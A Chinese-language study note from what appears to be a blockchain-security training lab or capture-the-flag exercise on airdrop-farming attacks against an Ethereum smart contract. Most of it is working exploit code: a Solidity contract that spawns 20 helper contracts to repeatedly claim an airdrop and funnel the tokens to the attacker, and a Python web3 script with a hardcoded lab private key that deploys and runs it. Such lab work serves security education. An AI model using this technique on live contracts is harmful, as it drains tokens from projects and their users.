某60区块链安全之薅羊毛攻击实战一学习记录

本文介绍: 通过本课程的学习，让学员理解区块链安全的概念和常见漏洞类型；掌握审计区块链安全所需的各种预备知识，包括公链安全基础、智能合约安全基础、智能合约漏洞基础、智能合约高级漏洞进阶知识和相关操作等。熟悉区块链公链、以太坊架构、关键技术、智能合约编写、智能合约常见漏洞知识；掌握区块链公链漏洞、以太坊智能合约审计、漏洞挖掘与利用等重要技能。通过完成实验，让学员能循序渐进地领会区块链以太坊智能合约漏洞挖掘所需的各种知识，掌握审计及挖掘以太坊智能合约漏洞的必备技能，提升学员的综合审计及挖掘漏洞实践能力。

学会使用 python3的web3模块
 学会分析以太坊智能合约薅羊毛攻击漏洞
找到合约漏洞进行分析并形成利用

Ubuntu18.04操作机

python3

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见，只要是有空投函数的合约都能够进行薅羊毛。

合约中内置了空投函数和潜在的薅羊毛攻击问题，找到合约漏洞并形成利用，把合约中的flag 变量设置为true 即可
使用python3的web3模块远程利用漏洞并获取 flag
实验地址为nc ip 10009

pragma solidity ^0.4.23;

contract attack{
    function attack_airdrop() public {
        for(uint i = 0; i < 20; i++){
            new middle_attack(address(this));
        }
    }

    function get_flag() public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.payforflag();
    }
}

contract middle_attack{
    constructor(address addr) public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.gift();
        target.transfer(addr,100);
    }
}

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x05653f1dE1512EFC31eb6dd835947AF697fA7be0"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack']

# deploy attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

# call attack_airdrop() in attack.sol
data = Web3.keccak(text='attack_airdrop()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call attack_airdrop() success")

time.sleep(5)

# call get_flag() in attack.sol
data = Web3.keccak(text='get_flag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call get_flag() success")